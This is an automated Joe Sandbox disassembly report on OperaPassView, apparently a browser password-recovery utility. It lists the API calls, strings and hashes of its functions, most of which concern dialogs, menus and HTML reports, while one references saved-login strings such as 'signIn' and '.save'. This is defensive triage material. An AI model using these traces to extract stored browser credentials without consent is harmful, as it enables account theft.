wcscpy.MSVCRT ref: 00405392
GetPrivateProfileIntW.KERNEL32(00410D78,rtl,00000000,00410B68), ref: 004053A3

Part of subcall function 00404F08: GetPrivateProfileStringW.KERNEL32(00410D78,?,0040C3F0,00410E08,?,00410B68), ref: 00404F24

Strings

TranslatorName, xrefs: 004053C7
xA, xrefs: 0040538C
charset, xrefs: 004053B1
rtl, xrefs: 0040539D
TranslatorURL, xrefs: 004053DB
general, xrefs: 00405387

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: PrivateProfilewcscpy$AttributesFileString
String ID: TranslatorName$TranslatorURL$charset$general$rtl$xA
API String ID: 3176057301-3088672139
Opcode ID: bbf035c638bcee87d24ac4c102a85c0043e067a756daed89e911eff3e230b98a
Instruction ID: 8d6e5ffcfa0c930258885b20e10a4471abb56068015b67b023cc0f5f92e7e1d5
Opcode Fuzzy Hash: bbf035c638bcee87d24ac4c102a85c0043e067a756daed89e911eff3e230b98a
Instruction Fuzzy Hash: 7FF0F072FC831132D62036B65C03F6E2908CBD2B25F55853BBA04B61C6C7FD4885879D

Function 00401A3A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00401A46
abs.MSVCRT ref: 00401B36
abs.MSVCRT ref: 00401B66
log.MSVCRT ref: 00401C02
log.MSVCRT ref: 00401C13
free.MSVCRT ref: 00401C2F
free.MSVCRT ref: 00401C41

Strings

, xrefs: 00401A6C

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: free$wcslen
String ID:
API String ID: 3592753638-3916222277
Opcode ID: 7e7a27ca5187d256414d2101c6a5a9f5acec834a3b123171e393923e73fb705c
Instruction ID: ea8e8bfc3689916eaf51f58325e240114e1aa07e795bf1a39d57aab077eb8cb1
Opcode Fuzzy Hash: 7e7a27ca5187d256414d2101c6a5a9f5acec834a3b123171e393923e73fb705c
Instruction Fuzzy Hash: 0C615A30C0520ADADF189FA5E4844EEB7B1FF04316F60847FE452B62A4EB396981CB59

Function 004043C3 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004043E4
_snwprintf.MSVCRT ref: 00404417
wcslen.MSVCRT ref: 00404423
memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),0040D934,?,?,?,00000000), ref: 0040443B
wcslen.MSVCRT ref: 00404449
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),0040D934,?,?,?,00000000), ref: 0040445C

Strings

%s (%s), xrefs: 0040440C
m1@, xrefs: 004043E9, 00404440, 00404461

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memcpywcslen$_snwprintfmemset
String ID: %s (%s)$m1@
API String ID: 3979103747-711742907
Opcode ID: 8131d3bc0ca6c2f79b51d761541b27c86472350e0654d01bf05fa02329cd5419
Instruction ID: bb86e644d6e989a92f7ca735dca76e8dba8552fc6dee4fa7a9c70cf9b9ee5f46
Opcode Fuzzy Hash: 8131d3bc0ca6c2f79b51d761541b27c86472350e0654d01bf05fa02329cd5419
Instruction Fuzzy Hash: 8E21A1B2800119BBCF21DF95CC45D8AB3B8FF44348F008476EA48AB142DB35EA098BD8

Function 004038DB Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002), ref: 00403900
FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000), ref: 0040391E
wcslen.MSVCRT ref: 0040392B
wcscpy.MSVCRT ref: 0040393B
LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00403945
wcscpy.MSVCRT ref: 00403955

Strings

netmsg.dll, xrefs: 004038FB
Unknown Error, xrefs: 0040394D

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
String ID: Unknown Error$netmsg.dll
API String ID: 2767993716-572158859
Opcode ID: 83da817a605f0bd99ceaa53d5b62a723178d7d847e4a1ec7c31fbbb8bba9ebd5
Instruction ID: 94c912f6bede647b569eff4abacb5c65d13614e4083452cda4a423de8bec5245
Opcode Fuzzy Hash: 83da817a605f0bd99ceaa53d5b62a723178d7d847e4a1ec7c31fbbb8bba9ebd5
Instruction Fuzzy Hash: FC01DFB2604114FFE7142B91DD86E9F7E2DDB04BA2F20443AF602B10D1DAB95F40D69C

Function 004059C1 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057AE
Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057BC
Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057CD
Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057E4
Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057ED

??2@YAPAXI@Z.MSVCRT(00000000), ref: 00405A01
??2@YAPAXI@Z.MSVCRT(00000000,00000000), ref: 00405A1D
memcpy.MSVCRT(?,004100D0,00000014), ref: 00405A42
memcpy.MSVCRT(?,004100BC,00000014,?,004100D0,00000014), ref: 00405A56
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00405AD9
??2@YAPAXI@Z.MSVCRT(0000000C,00000000), ref: 00405AE3
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00405B1B

Part of subcall function 004049DF: GetModuleHandleW.KERNEL32(00000000,00000400,?,004020A6,OperaPassView), ref: 00404A1E
Part of subcall function 004049DF: LoadStringW.USER32(00000000,00000006,?,00000400), ref: 00404AB7
Part of subcall function 004049DF: memcpy.MSVCRT(00000000,00000002,?,004020A6,OperaPassView), ref: 00404AF7

Part of subcall function 004049DF: wcscpy.MSVCRT ref: 00404A60
Part of subcall function 004049DF: wcslen.MSVCRT ref: 00404A7E
Part of subcall function 004049DF: GetModuleHandleW.KERNEL32(00000000,?,?,004020A6,OperaPassView), ref: 00404A8C

Strings

(, xrefs: 00405AA3
d, xrefs: 00405AFA

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??2@??3@$memcpy$HandleModule$LoadStringwcscpywcslen
String ID: ($d
API String ID: 1140211610-1915259565
Opcode ID: bb2dd997502557e4ea6453ce3f07b21e831ae601660291ae351286145656e55e
Instruction ID: 07a921f86305acd16be1410c6986a741abc6e3f005c63e1355abcfc0754c8aed
Opcode Fuzzy Hash: bb2dd997502557e4ea6453ce3f07b21e831ae601660291ae351286145656e55e
Instruction Fuzzy Hash: D0517B71601704AFD724DF29C486B5AB7F4EF88318F10852EE55ADB391DB74A840CF58

Function 0040ABF1 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,",0000000C,?,?,00000000,00406A80,?,?), ref: 0040AC28
memcpy.MSVCRT(?,&,0000000A,?,?,00000000,00406A80,?,?), ref: 0040AC54
memcpy.MSVCRT(?,<,00000008,?,?,00000000,00406A80,?,?), ref: 0040AC6E

Strings

>, xrefs: 0040AC13
", xrefs: 0040AC22
&, xrefs: 0040AC4E
<, xrefs: 0040AC05
<br>, xrefs: 0040AC68
°, xrefs: 0040AC3F

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 06ec56c56974e0f7b4b17a579e4c19adefe5500bcad0353641c0b1dc6ae569c0
Instruction ID: 949250bbfba309cc53c0f365b6ccabbe992970ffb619da80f2e731b650733e80
Opcode Fuzzy Hash: 06ec56c56974e0f7b4b17a579e4c19adefe5500bcad0353641c0b1dc6ae569c0
Instruction Fuzzy Hash: 9D0100A2E5C320A7FA3120264C86F370204D7A3B55E66053BF982352C1A1BD09B3919F

Function 004066C2 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 00403992: wcslen.MSVCRT ref: 0040399F
Part of subcall function 00403992: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00406A3F,?,<item>), ref: 004039AE

wcscat.MSVCRT ref: 00406791
_snwprintf.MSVCRT ref: 004067B8

Strings

<tr>, xrefs: 004066EA
<td bgcolor=#%s>%s, xrefs: 004066E0
<td bgcolor=#%s nowrap>%s, xrefs: 004066D2
0k@, xrefs: 0040679E, 004067A6
 , xrefs: 0040678B

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: FileWrite_snwprintfwcscatwcslen
String ID:  $0k@$<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 2451617256-3478536308
Opcode ID: 136b0e92e8df6b911a7d2d8a739884600bb4179733ca5a60cb8aa89c77b888ba
Instruction ID: 50620785be2924b2e998c7c2aa8d4364f5b00dbc210d32587abc7bdc2f159a22
Opcode Fuzzy Hash: 136b0e92e8df6b911a7d2d8a739884600bb4179733ca5a60cb8aa89c77b888ba
Instruction Fuzzy Hash: 2631AB31900208EFDF04AF54C886EAE7BB5FF04324F1140AAE905BB1E2DB75AA51CB94

Function 004049DF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000400,?,004020A6,OperaPassView), ref: 00404A1E
wcscpy.MSVCRT ref: 00404A60

Part of subcall function 00404ED1: memset.MSVCRT ref: 00404EE4
Part of subcall function 00404ED1: _itow.MSVCRT ref: 00404EF2

wcslen.MSVCRT ref: 00404A7E
GetModuleHandleW.KERNEL32(00000000,?,?,004020A6,OperaPassView), ref: 00404A8C
LoadStringW.USER32(00000000,00000006,?,00000400), ref: 00404AB7
memcpy.MSVCRT(00000000,00000002,?,004020A6,OperaPassView), ref: 00404AF7

Part of subcall function 0040493D: ??2@YAPAXI@Z.MSVCRT(00000000,004049ED,004020A6,OperaPassView), ref: 00404977
Part of subcall function 0040493D: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,004049ED,004020A6,OperaPassView), ref: 00404995
Part of subcall function 0040493D: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,004049ED,004020A6,OperaPassView), ref: 004049B3
Part of subcall function 0040493D: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,004049ED,004020A6,OperaPassView), ref: 004049D1

Strings

strings, xrefs: 00404A56

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
String ID: strings
API String ID: 3166385802-3030018805
Opcode ID: d8d92a0686d4d5e456feee226b20097165a3bab79b44d90df67e3c631c95ba9f
Instruction ID: 978925850f83b905d2b4b89a252fc2e9f9ba3081ff0ab66842589351d55622ab
Opcode Fuzzy Hash: d8d92a0686d4d5e456feee226b20097165a3bab79b44d90df67e3c631c95ba9f
Instruction Fuzzy Hash: 42419AB5640101FFD714DB59FC90EA6B775EBC8309714823AEB06A72B1DB39A842CB5C

Function 00405143 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405168
GetDlgCtrlID.USER32(?), ref: 00405173
GetWindowTextW.USER32(?,?,00001000), ref: 0040518A
memset.MSVCRT ref: 004051B1
GetClassNameW.USER32(?,?,000000FF), ref: 004051C8
_wcsicmp.MSVCRT ref: 004051DA

Part of subcall function 00405019: memset.MSVCRT ref: 0040502C
Part of subcall function 00405019: _itow.MSVCRT ref: 0040503A

Strings

sysdatetimepick32, xrefs: 004051D4

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
String ID: sysdatetimepick32
API String ID: 1028950076-4169760276
Opcode ID: 273f307894d1a901c29e0270ddd29645e9960e59c1c9ae06192218f37dbc375b
Instruction ID: 0296023046db152ed264b92cdfb5494974fd98eae8030e4ac07410237231dc78
Opcode Fuzzy Hash: 273f307894d1a901c29e0270ddd29645e9960e59c1c9ae06192218f37dbc375b
Instruction Fuzzy Hash: A211A372800119BAEB20EB91DC89AEF7BACEF04350F0040B6F518E6092EB745A44DB99

Function 00403566 Relevance: 12.2, APIs: 8, Instructions: 197windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0040360E
GetDlgItem.USER32(?,000003E9), ref: 00403621
GetDlgItem.USER32(?,000003E9), ref: 00403636
GetDlgItem.USER32(?,000003E9), ref: 0040364E
EndDialog.USER32(?,00000002), ref: 0040366A
EndDialog.USER32(?,00000001), ref: 0040367F

Part of subcall function 00403325: GetDlgItem.USER32(?,000003E9), ref: 00403332
Part of subcall function 00403325: GetDlgItemInt.USER32(?,000003ED,00000000,00000000), ref: 00403347

SendDlgItemMessageW.USER32(?,000003ED,000000C5,00000003,00000000), ref: 00403697
SetDlgItemInt.USER32(0000009B,000003ED,?,00000000), ref: 004037A3

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Item$Dialog$MessageSend
String ID:
API String ID: 3975816621-0
Opcode ID: 26c85d0074bae9d10ab68ded3bf59835fabe5f402c7936a152d4b2f9fcfa4426
Instruction ID: 12236749957bbde37ae72390c5e53f70cf41314f2f2f6dfb3ec25344756da973
Opcode Fuzzy Hash: 26c85d0074bae9d10ab68ded3bf59835fabe5f402c7936a152d4b2f9fcfa4426
Instruction Fuzzy Hash: B361E470100A01BFDB31AF25C886A1ABBA8EF44315F00C53EF915A77E1D779EA91CB49

Function 004037B3 Relevance: 12.1, APIs: 8, Instructions: 100windowCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(0000000C), ref: 004037C3
??3@YAXPAX@Z.MSVCRT(00000000), ref: 004037DF
??2@YAPAXI@Z.MSVCRT(00000000,?), ref: 00403805
memset.MSVCRT ref: 00403815
??2@YAPAXI@Z.MSVCRT(00000000,?), ref: 00403844
InvalidateRect.USER32(?,00000000,00000000,?,?,?,?), ref: 00403891
SetFocus.USER32(?,?,?,?), ref: 0040389A
??3@YAXPAX@Z.MSVCRT(?,?), ref: 004038AA

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??2@$??3@$FocusInvalidateRectmemset
String ID:
API String ID: 2313361498-0
Opcode ID: 03ce0126af2e166a49035f109e5b9b371e627cad62393e3c1ce19d5379043738
Instruction ID: a94385e8c78de924cee77f368874fbad43a9d8de2ae7ea267fe0a8e67a2869b7
Opcode Fuzzy Hash: 03ce0126af2e166a49035f109e5b9b371e627cad62393e3c1ce19d5379043738
Instruction Fuzzy Hash: 1331A4B2900605AFDB14AF29C88591AFBE8FF44354B00CA3FF519E7691D778ED408B98

Function 004079CE Relevance: 12.1, APIs: 8, Instructions: 76COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004079ED
GetWindowRect.USER32(?,?), ref: 00407A03
GetWindowRect.USER32(?,?), ref: 00407A16
BeginDeferWindowPos.USER32(00000003), ref: 00407A33
DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 00407A50
DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 00407A70
DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000004), ref: 00407A97
EndDeferWindowPos.USER32(?), ref: 00407AA0

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Window$Defer$Rect$BeginClient
String ID:
API String ID: 2126104762-0
Opcode ID: dae75a277170d538d4aadf7f93f54a33f7291817a4ebdf1889a4639404ac1ddf
Instruction ID: e4f78f3829a74d2a8d6fc1eee99c52144a6f2d081558712967551c55d100aa1b
Opcode Fuzzy Hash: dae75a277170d538d4aadf7f93f54a33f7291817a4ebdf1889a4639404ac1ddf
Instruction Fuzzy Hash: 2921A472A40209FFEB119FA8CE89FEEBBB9FB48300F104164FA55B6161C73169559F24

Function 0040B211 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 147COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0040B292
_wcsicmp.MSVCRT ref: 0040B2A7

Part of subcall function 00403A94: wcslen.MSVCRT ref: 00403AA3
Part of subcall function 00403A94: wcslen.MSVCRT ref: 00403AAD
Part of subcall function 00403A94: _memicmp.MSVCRT ref: 00403AC8

Strings

log profile, xrefs: 0040B21E
signIn, xrefs: 0040B2A1
https://, xrefs: 0040B251
.save, xrefs: 0040B28C
http://, xrefs: 0040B246

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _wcsicmpwcslen$_memicmp
String ID: .save$http://$https://$log profile$signIn
API String ID: 1428608950-2708368587
Opcode ID: 802a3b1c96b8a1692ab2faeed1ea34f8d6feca5b72e74921201663452091f673
Instruction ID: aebae70456654339f84af78ccd11eee7a693882df7f645b401ad4cefe5663bbc
Opcode Fuzzy Hash: 802a3b1c96b8a1692ab2faeed1ea34f8d6feca5b72e74921201663452091f673
Instruction Fuzzy Hash: 63413A71500305CADB349A69C4097ABB7E8DB04319F30887FE866F36C1DB7CA9419A9D

Function 004033F1 Relevance: 10.6, APIs: 7, Instructions: 125windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00403408
SendMessageW.USER32(00000000,00001009,00000000,00000000), ref: 00403421
SendMessageW.USER32(?,00001036,00000000,00000026), ref: 0040342E
SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 0040343A
memset.MSVCRT ref: 0040349E
SendMessageW.USER32(?,0000105F,?,?), ref: 004034D3
SetFocus.USER32(?), ref: 00403559

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: MessageSend$FocusItemmemset
String ID:
API String ID: 4281309102-0
Opcode ID: fc0645fcad6935a50dda920a1aace060dab3b66a03edc3faef74037774e53fb0
Instruction ID: 20cdf0d6c318418226ee98135bf92e64c1e6f3741e613206d3032fbef3e3ddd3
Opcode Fuzzy Hash: fc0645fcad6935a50dda920a1aace060dab3b66a03edc3faef74037774e53fb0
Instruction Fuzzy Hash: 0F414971D00219BBDB209F95CC89DAFBF79EF08755F00806AF908B6291D7749A80CFA4

Function 00405202 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

LoadMenuW.USER32(?,?), ref: 00405229

Part of subcall function 00405052: GetMenuItemCount.USER32(?), ref: 00405068
Part of subcall function 00405052: memset.MSVCRT ref: 00405087
Part of subcall function 00405052: GetMenuItemInfoW.USER32 ref: 004050C3
Part of subcall function 00405052: wcschr.MSVCRT ref: 004050DB

DestroyMenu.USER32(00000000), ref: 00405247
CreateDialogParamW.USER32(?,?,00000000,004051FD,00000000), ref: 00405295
memset.MSVCRT ref: 004052B1
GetWindowTextW.USER32(00000000,?,00001000), ref: 004052C6

Part of subcall function 00404E81: _snwprintf.MSVCRT ref: 00404EA6

Strings

caption, xrefs: 004052DD

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Menu$Itemmemset$CountCreateDestroyDialogInfoLoadParamTextWindow_snwprintfwcschr
String ID: caption
API String ID: 4269739968-4135340389
Opcode ID: 149c361682219c7e34215e06fcc554497841175788682e13768cb0a330dcec1d
